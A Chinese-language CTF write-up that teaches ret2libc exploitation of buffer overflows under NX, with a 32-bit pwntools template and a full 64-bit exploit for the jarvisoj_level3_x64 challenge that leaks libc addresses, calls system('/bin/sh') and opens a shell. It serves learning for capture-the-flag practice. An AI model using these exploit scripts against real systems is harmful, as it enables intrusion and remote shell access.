文章目录

前言
0x1 ：使用前提条件
0x2 ：解题思路
0x3 ：32位程序libc题型模板
0x4 ：代码的解析
0x5 ：64位程序实例

前言

菜鸡总结，如有不对，请不吝赐教。

0x1 ：使用前提条件

存在溢出条件，题目没有system等后门函数，并且开启了NX保护

NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。这样就会导致你直接构造的shellcode没有用。

0x2 ：解题思路

首先要明白我们的目的是找到system函数以及binsh参数的地址。

那怎么找到system（/bin/sh）的地址呢？
首先我们要知道一个公式：函数的真正地址 = 基地址 + 偏移地址

偏移地址：这就是与libc有关的原因，libc是Linux系统下的c函数库，既然是函数库就会存在system函数，binsh参数，libc里面存放的是函数的偏移地址。但是libc.so版本有很多，版本不同偏移量就不同，只要确定了libc版本就能偏移地址。

基地址：基地址在同一次运行时是相同的，但第二次运行就不同了，所以造成了函数的真正地址一直在变，但即使一直在变，最后三位却一直相同。这样只要知道某个函数的某一次地址，利用它的后三位，然后在网站上https://libc.blukat.me/搜寻，就能获得libc版本

综上的分析结果是：泄露某个函数的真正地址，然后利用最后三位来确定libc版本，然后用来查找system函数与该函数的偏移地址。利用公式基地址 = 函数的真正地址- 偏移量来确定基地址。然后利用公式来确定system函数真正地址。

那怎样获得其他函数的真正地址？
我们知道puts函数，write函数等可以打印内容，这样的话我们可以直接利用他们打印出他们的真正地址（注意这个函数必须已经出现过了）。
我们可以使用Linux延迟绑定机制。这个只需知道在libc中存在got表和plt表，plt存放的是进入这个函数的地址，而got表中存放的是这个函数的真正地址。
我们可以利用puts函数，write函数等函数打印它自己的真正的地址，然后找到libc版本，基地址，然后找到system函数地址

0x3 ：32位程序libc题型模板

如果以上的讲解不懂，没关系，只要你会写就行，因为libc题型大体是有一个模板的，你记住了就行。

from pwn import *r = process("./pwn")
#r = remote()libc = ELF("./libc____")
e = ELF("./pwn")write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]offset = 
payload = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)#r.recvuntil()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))write_offset = libc.symbols["write"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search("/bin/sh").next()base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offsetpayload = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)#r.recvuntil()
r.sendline(payload)
r.interactive()

0x4 ：代码的解析

e = ELF("./pwn")

调用题目pwn的elf文件

context(log_level = ‘debug’)

这是debug调试代码，做这种题很难一步就做对，加上这个方便你调试查看问题

write_plt_addr = e.plt[“write”]
write_got_addr = e.got[“write”]
main_addr = e.symbols[“main”]

调用程序的的elf文件，然后这个是打印出其中write函数的plt表和got表的地址，以及打印main函数的地址（打印函数用symbols）

payload：

offset = 0x88 + 4
payload = offset*‘a’ + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

构造payload，先是填充字节，然后到达返回地址。利用rop技术。

32位程序：先是write函数的地址 + 预留返回地址 + write函数的三个参数（1 + write函数的真正地址（got表内的地址） + 打印的字节）

注意：这里的预留返回地址很重要，它的目的是要再循环一此，所以该地址必须在溢出点之前，可以是main函数起点

目的：利用write函数打印的功能，泄露write函数的真正地址（got表中的，当然你也可以泄露其他在main函数里面已经运行过的函数）。

r.recvuntil(“Input:\n”)
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

第一行的意思是在"input:\n"以后发送payload，然后u32是32位解包，r.recv接收字节4位。最后print打印write函数的地址，hex是以十六进制的形式

打印出write函数的地址以后，怎么找到函数的偏移量呢？

（1）利用后三位用https://libc.blukat.me/来查询libc版本以此来获取函数的偏移量。直接自己手动打出来

write_offset = 0x000DD460
system_offset = 0x040310
binsh_offset = 0x162D4C

（2）利用LibcSearch模块自动的获取libc版本，然后直接就可以打印出来偏移量了，不过有些libc版本找不到，并且如果题目给出了libc版本，像buuctf里面的给出了libc版本就无需用这个方法了。

from LibcSearcher import
libc=LibcSearcher(‘read’,read_addr) #read为你要泄露的地址
read_offset = libc.dump(‘read’)
system_offset = libc.dump(‘system’)
binsh_offset = libc.dump(‘str_bin_sh’)

（3）如果题目直接给出了文件的libc版本，就无需自己写出具体的偏移量了

libc = ELF("./libc-2.27.so")
system_offset = libc.symbols[‘system’]
binsh_offset = libc.search(’/bin/sh’).next()
write_offset = libc.symbols[‘write’]

找到偏移量以后，接下来就是利用公式函数的真正地址 = 函数偏移地址 + 基地址。来获得基地址，以此来获得system函数的真正地址

write_offset = 0x000DD460
system_offset = 0x040310
binsh_offset = 0x162D4C

base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

找到system函数和binsh参数地址以后，就和以前的溢出一样了，并且之前发送的payload是回到了main函数，即重新开始运行程序

0x5 ：64位程序实例

上面的讲解是32位程序的，下面以64位程序的jarvisoj_level3_x64题为例进行讲解。
注意：32位程序和64位程序会存在不同。且与32位程序相比，64位程序相比更加复杂。

程序分析：64位程序，只开启了NX保护 。然后打开IDA，查看一下程序源代码

在这里插入图片描述

代码分析：很明显read函数存在溢出。然后查找字符串没有发现后门地址，开启了NX保护，利用libc泄露system函数地址

64位与32位程序不同①：64位是先传参，而32是栈里面传参是后传参。64位程序的参数从左到右依次放入寄存器: rdi, rsi, rdx, rcx, r8, r9中。
payload：

payload = offset*‘a’ + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)

含义：偏移量 + rdi寄存器 + 第一个参数 + rsi寄存器 + 第二个参数 + rdx寄存器 + 第三个参数 + write函数的地址 + 预留返回地址

在传参时先需要确定这个参数的位置命令为：

ROPgadget --binary ./pwn --only “pop|ret”

muggle@muggle-virtual-machine:~/CTF-Pwn/jieti-pwn$ ROPgadget --binary ./pwn --only “pop|ret”
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11

注意：

（1）由于该程序，没有rdx寄存器，而write函数的第三个参数为输出的字节数，而无论你输出多少，我只要取前面几个就行了，所以rdx从寄存器没有也没事。同时在这道题当中rsi后后面还有一个r15，所以无论你输入什么都可以，这就是加上那个p64（0）的原因。

（2）如果是puts函数的话，就只有一个参数，只要一个寄存器rdi就会更加简单。

不同之处②，64位需要字节数对齐，所以有时候你需要加入一个ret_addr 地地址，至于具体是什么时候加我还是没搞懂。

由于本题存在libc版本，直接可以用前面提到的第三种方法来求偏移量。

完整的exp ：

from pwn import *r = remote("node4.buuoj.cn",25714)
#r = process("./pwn")context(log_level = 'debug')
e = ELF("./pwn")
libc = ELF("./libc-2.23.so")write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
rdi_addr = 0x00000000004006b3
rsi_r15_addr = 0x00000000004006b1offset = 0x80 + 8
payload = offset*'a' + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
r.recvuntil("Input:\n")
r.sendline(payload)write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#write_addr = u64(r.recv(8))
print(hex(write_addr))base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()payload2 = offset*'a' + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.recvuntil("Input:\n")
r.sendline(payload2)
r.interactive()